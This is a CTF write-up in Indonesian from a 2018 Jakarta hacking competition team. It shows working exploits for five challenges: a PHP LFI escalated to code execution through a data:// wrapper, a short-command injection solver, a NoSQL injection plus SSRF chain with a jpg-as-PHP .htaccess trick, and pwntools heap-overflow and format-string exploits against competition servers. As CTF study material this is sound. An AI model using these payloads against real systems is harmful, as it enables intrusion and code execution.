

#### **TOP SECRET**

### **Jakarta Hacking Competition 2018**

Nama Tim: RevID.CTF

Ketua Tim:

1. Muh. Fani Akbar

Anggota Tim:

1. Bayu Fedra Abdullah

2. Muhammad Alifa Ramdhan



## **Soal 1 : One Line LFI Challenge**

Diberikan soal web <a href="http://203.34.119.238:50002">http://203.34.119.238:50002</a> dengan source :

```
<?php
if(!isset($_GET['file'])){
    die(show_source(__FILE__));
}else{</pre>
```

```
$file = $_GET['file'] .".php";

if(strpos($file, "ftp") !== False){ die('No Cheat!');}

if(strpos($file, "http") !== False){ die('Hmmm No Cheat!');}

if(strpos($file, "https") !== False){ die('No Fucking Cheat!');}

include($file);
}
```

Script yang kami gunakan untuk generate payload

```
<?php
$head = "data://text/plain;base64,";
$payload = base64_encode("<?php echo `ls -la`; die(); ?>");
echo $head . urlencode($payload);
```

Outpu rce

```
$ php payload.php
data://text/plain;base64,PD9waHAgZWNobyBgbHMgLWxhYDsgZGllKCk7ID8%2B
$ curl "http://203.34.119.238:50002/?file=data://text/plain;base64,PD9waHAgZWNobyBgbHMgLWxhYDsgZG
llKCk7ID8%2B"
    total 20
drwxr-xr-x 2 root root 4096 Dec 6 01:51 .
drwxr-xr-x 3 root root 4096 Apr 14 2018 ..
-rw-r--r-- 1 root root 48 Dec 6 01:02 DONTOP3NTHISFILECAUS3TH1SISAFL4GGGGGG
-rw-r--r-- 1 root root 22 Dec 6 00:29 anu.php
-rw-r--r-- 1 root root 307 Dec 5 23:44 index.php
```

Lalu kami akses DONTOP3NTHISF1LECAUS3TH1SISAFL4GGGGGG dan didapatkan flag nya.

# Flag: JHack2018{One\_Line\_LFI\_CHallenge\_But\_So\_Tricky} Soal 2: Output??

Diberikan soal web dengan source:

```
<?php
$sandbox = dirname(__FILE__) . '/' .md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
copy(dirname(__FILE__) . '/' . ".htflag", $sandbox . "/.htflagsandboxzazsdmno");
@chmod($sandbox);
@chdir($sandbox);
if (isset($_GET['reset'])) die(exec('/bin/rm -rf ' . $sandbox));
$command = substr(urldecode(trim(file_get_contents('php://input'))), 1, 10);
if (strpos($command, '*') !== false) die("* di blacklist om");
@exec($command);
highlight_file(__FILE__);</pre>
```

Soal tersebut mirip soal hitcon ctf 2017, kami memodifikasi script solver dari salah satu write up : <a href="https://kimtruth.github.io/2017/11/06/HITCON-CTF-2017-BabyFirst-Revenge-172-pts/">https://kimtruth.github.io/2017/11/06/HITCON-CTF-2017-BabyFirst-Revenge-172-pts/</a>

script yang kami gunakan

```
import requests
import socket
import struct
import hashlib
def cmd_req(t):
    url = 'http://128.199.92.132/jjj/index.php'
    requests.post(url,data={"" : t}).content
    print url
ip = requests.get('https://ipapi.co/ip/').text
requests.get('http://128.199.92.132/jjj/index.php?reset=1')
cmd = 'cat `find` > flag'
print cmd
for ch in cmd:
    if not ch.isalpha():
        \label{eq:cmd_req('>\{}\\'.format(ch))} \\
    else:
        cmd req('>{}\\\'.format(ch))
    cmd req('ls>>\\')
    cmd_req('rm ??')
cmd req('sh \\\\')
ip md5 = hashlib.md5(ip).hexdigest()
print requests.get("http://128.199.92.132/jjj/{}/flag".format(ip_md5)).content
```

## Flag : JHack2018{Next\_Level\_Exec} Soal 3 : Picture

Diberikan sebuah web <a href="http://203.34.119.238:50003/">http://203.34.119.238:50003/</a>.

Web tersebut membutuhkan login, kami menggunakan noSQI Injection dengan payload u[\$ne]=

Setelah login akan tampil form url yang akan di parser, kami menduga itu adalah SSRF.

kami menggunakan .htaccess agar jpg di eksekusi sebagai php

```
AddType application/x-httpd-php .jpg
```

isi x.jpg untuk membaca index.php

```
<?php
header("Location: php://filter/convert.base64-encode/resource=index.php");</pre>
```

kammi akses menggunakan curl

```
curl 'http://203.34.119.238:50003/' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63
.0) Gecko/20100101 Firefox/63.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.
9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Referer: http://203.34.119.238
:50003/' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Connection: keep-alive' -H 'Cookie: PHPSESSID=trhabt25e4d73h8eg365rfcq86' -H 'Upgrade-Insecure-Requests: 1' --data 'url=http%3A%
2F%2Fec2.rhama.my.id%2Ftest%2Fx.jpg'
```

echo "PD9waHAKLy8gVEhFIEZMQUcgSVM6IHNha2puY2RranN2Ym5ka3NqYnZrOTAwaXNhamRiYXNramRBU0Rhc2QKc2Vzc2l vbl9zdGFydCgp0wppZighaXNzZXQoJF9TRVNTSU90Wyd1c2VyJ10pKXsKCWhlYWRlcigiTE9DQVRJT046IGxvZ2luLnBocCIp OwoJZXhpdDsKfQoKaWYoaXNzZXQoJF9HRVRbJ2QnXSkpewoJc2Vzc2lvbl9kZXN0cm95KCk7CgloZWFkZXIoImxvY2F0aW9u0 iBpbmRleC5waHAiKTsKCWV4aXQ7Cn0KCmZ1bmN0aW9uIGdldEZpbmFsVVJMKCR1cmwpIHsKICAqIGZpbGVfZ2V0X2NvbnRlbn RzKCR1cmwp0woqICAqaWYqKGlzc2V0KCRodHRwX3Jlc3BvbnNlX2hlYWRlcikpIHsKICAqICAqICBpZiAoaXNfYXJyYXkoJGh 0dHBfcmVzcG9uc2VfaGVhZGVyKSkgewogICAgICAgICBmb3JlYWNoICgkaHR0cF9yZXNwb25zZV9oZWFkZXIgYXMgJGtluberty and the standard of theeSA9PiAkdmFsdWUpIHsKICAgICAgICAgICAgICAgIGlmIChzdWJzdHIoc3RydG9sb3dlcigkdmFsdWUpLCAwLCBzdHJsZW4oJ 0xPQ0FUSU900icpKSA9PSAibG9jYXRpb246IikgJHVybCA9IHRyaW0oc3Vic3RyKCR2YWx1ZSwgc3RybGVuKCdMT0NBVElPTj onKSwgc3RybGVuKCR2YWx1ZSkpKTsKICAgICAgICAgICAgIGlmIChzdWJzdHIoc3RydG9sb3dlcigkdmFsdWUpLCAwLCB zdHJsZW4oJ0NvbnRlbnQtVHlwZScpKSA9PSAiY29udGVudC10eXBlIikgewogICAgICAgICAgICAgICAgICAgIGhlYWRlcign WC1Db250ZW50LVR5cGUtT3B0aW9uczogbm9zbmlmZicp0wogICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC10e XBl0iBpbWFnZS9qcGciKTsKCiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgCWhlYWRlcigiQ29udG ICB9CiAqICByZXR1cm4qJHVybDsKfQppZiAoaXNzZXQoJF9QT1NUWyd1cmwnXSkpIHsKICAqIGlmICqhZmlsdGVyX3ZhciqkX 1BPU1RbJ3VybCddLCBGSUxURVJfVkFMSURBVEVfVVJMKSA9PT0gZmFsc2UgJiYgcHJlZ19tYXRjaCgiL15odHRwcz86XC9cLy 4qXC5qcGckLyIsICRfUE9TVFsndXJsJ10pKXsKICAgICAgICBkaWUoZmlsZV9nZXRfY29udGVudHMoZ2V0RmluYWxVUkwoJF9 QT1NUWyd1cmwnXSkpKTsKICAqIH0gZWxzZSB7CiAqICAqICAqIZWNobyAnPHNjcmlwdD5hbGVydCqiV2UqSnVzdCBBbGxvd2Vk IFNTTCB3ZWIgYW5kIEZvcm1hdCAuanBnISIpPC9zY3JpcHQ+JzsKCiAgICB9Cgp9Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtb D4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJldGYt0CIgLz4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aW JsZSIgY29udGVudD0iSUU9ZWRnZSI+CiAgICA8dGl0bGU+T3NpcmlzaCBHYWxsZXJ5PC90aXRsZT4KICAgIDxsaW5rIGhyZWY 91i8vbWF4Y2RuLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFwLzQuMC4wL2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiBpZD0iYm9vdHN0cmFwLWNzcyI+CjxzY3JpcHQgc3JjPSIvL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb 3RzdHJhcC80LjAuMC9qcy9ib290c3RyYXAubWluLmpzIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Ii8vY2RuanMuY2xvdWRmbG pdiBjbGFzcz0iY29udGFpbmVyIj4KPGgxIGNsYXNzPSJ0ZXh0LWNlbnRlciBtdC0yIG1iLTMiPlZpZXcgWW91ciBJbWFnZSBI ZXJlPC9oMT4gICAgCjxoND5IZXJlIGV4YW1wbGUgaW1hZ2UgeW91IGNhbiB1c2U6IDwvaDQ+CjxoNT5odHRwczovL3d3dy53b 3drZXJlbi5jb20vZGlzcGxheS9pbWFnZXMvcGhvdG8vMjAx0C8xMS8xNi8wMDIzMjM00S5qcGc8L2q1Pqo8Zm9ybSBtZXRob2 Q9IlBPU1QiIGF1dG9jb21wbGV0ZT0ib2ZmIj4KIDxkaXYqY2xhc3M9ImZvcm0tcm93Ij4KIDxkaXYqY2xhc3M9ImNvbCI+CiA qPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9InVybCIgdmFsdWU9IiIgcGxhY2Vob2xkZXI9Imh0dHBz0i8vd3d3 Lndvd2tlcmVuLmNvbS9kaXNwbGF5L2ltYWdlcy9waG90by8yMDE4LzExLzE2LzAwMjMyMzQ5LmpwZyIvPgogPC9kaXY+CiA8Z Gl2IGNsYXNzPSJjb2wiPgogPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSIgdmFsdWU9IlZpZX cqSW1hZ2UiPqoqPC9kaXY+CiA8L2Rpdj4KPC9mb3JtPqo8L2Rpdj4KPC9ib2R5Pqo8L2h0bWw+Cq==" | base64 -d <?php // THE FLAG IS: sakjncdkjsvbndksjbvk900isajdbaskjdASDasd session start(); . . . . . . . . . .

```
// THE FLAG IS: sakincdkisvbndksibvk900isajdbaskidASDasd
```

kami akses sakjncdkjsvbndksjbvk900isajdbaskjdASDasd

Setelah di akses akan mendapatkan flag

## Flag: JHack2018{SSSSSSSSSSSSSSSRF}

### Soal 4: Kelas Jhack Versi 2

Bug terdapat pada saat program mengedit murid, disini terdapat bug buffer overflow pada heap.

Bug ini bisa kita manfaatkan untuk mengoverwrite data2 pada heap, sehingga dapat mengoverwrite struktur2 murid yang lain pada heap.

Disini kami mengoverwrite element yang menyimpan string nama,

ketika sudah mengontrolnya kita bisa mengarahkan alamatnya ke alamat lain yang kita inginkan,

dan kita dapat menggunakan fitur edit-nama lagi untuk mengoverwrite alamat yang kita inginkan tadi dengan nilai yang kita inginkan,

dan kita juga dapat meleak alamat memory manapun dengan menggunakan fitur print single student (ini kita manfaatkan untuk menghitung address untuk membypass aslr).

Dibawah ini adalah exploit yang kami gunakan.

```
from pwn import *
p = remote("203.34.119.238", 30000)
elf = ELF('./main', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
atoi got = elf.got['atoi']
p.sendlineafter('> ', '2')
p.sendlineafter(': ', "A"*8)
p.sendlineafter(': ', '20')
p.sendlineafter('> ', '2')
p.sendlineafter(': ', "B"*8)
p.sendlineafter(': ', '20')
p.sendlineafter('> ', '4')
p.sendlineafter(': ', '0')
p.sendlineafter(': ', "A"*80 + p64(atoi got))
p.sendlineafter(': ', '20')
p.sendlineafter('> ', '5')
p.sendlineafter(': ', str(1))
p.recvuntil(":")
nama = p.recvuntil("\n No. Absen : ", drop=True).strip()
no absen = p.recvuntil("\n==", drop=True).strip()
atoi libc = u64(nama.ljust(8, '\x00')) # Leak data at atoi.got.plt
libc.address = atoi libc - libc.symbols['atoi']
system = libc.symbols['system']
p.sendlineafter('> ', '4')
p.sendlineafter(': ', '1')
p.sendlineafter(': ', p64(system))
p.sendlineafter(': ', '30')
p.interactive()
```

# Flag : JHack2018{4834cebc43258438beade3cd7801a119} Soal 5 : Print it

Terdapat bug format string pada program ini, untuk mengexploitnya sedikit lebih sulit dari format string pada umumnya karena data

disimpan di heap bukan di stack, jadi kita tidak bisa mengontrol argumen untuk fungsi printf.

Disini kami memanfaatkan nilai yang telah ada didalam stack (saat fungsi printf dipanggil), nilai ini berisi alamat stack dimana alamat stack ini akan berisi alamat stack lain.

```
Seperti ini gambaran stacknya.
// Anggap esp = 0xffffca70
+------+
| Address | Relative | Value |
```

```
+-----+
| 0xffffca84 | esp+0x14 | 0xffffcb44 |
| ... | ... | |
| 0xffffcb44 | esp+0xd4 | 0xffffcd54 |
| ... | ... | ... |
```

Dengan kondisi diatas kita dapat mengoverwrite nilai pada alamat 0xffffcb44 dengan alamat return address,

dan ketika alamat 0xffffcb44 sudah berisi alamat return address,

kita dapat mengoverwrite return address dengan mengirim formatter %xx\$n dimana xx adalah nilai yang mewakili di argumen ke berapa nilai alamat return address berada dalam hal ini alamat return address ada di alamat 0xffffdb44 .

Exploit:

```
from pwn import *
p = remote("203.34.119.238", 30001)
elf = ELF('./main')
check secret backdoor 31337 = elf.symbols['check secret backdoor 31337']
def write32(n, offset):
    p.sendline("%{}x%{}$hn".format(n, offset / 4))
    return
p.sendline('%9$p|%17$p')
old ebp = int(p.recvuntil('|', drop=True), 16)
esp = old ebp - 64
print(hex(esp))
return address = esp + 60
addr = int(p.recvline(), 16)
print(hex(addr))
offset = (addr - esp)
write32(return address & 0xffff, 68)
write32(check secret backdoor 31337 & 0xffff, offset)
write32((return address + 2) & 0xffff, 68)
write32(check secret backdoor 31337 >> 16, offset)
p.sendline("exit") # Exit
p.interactive()
```

Flag: JHack2018 { b1965f8edd48b2bd857a7b556463d743 }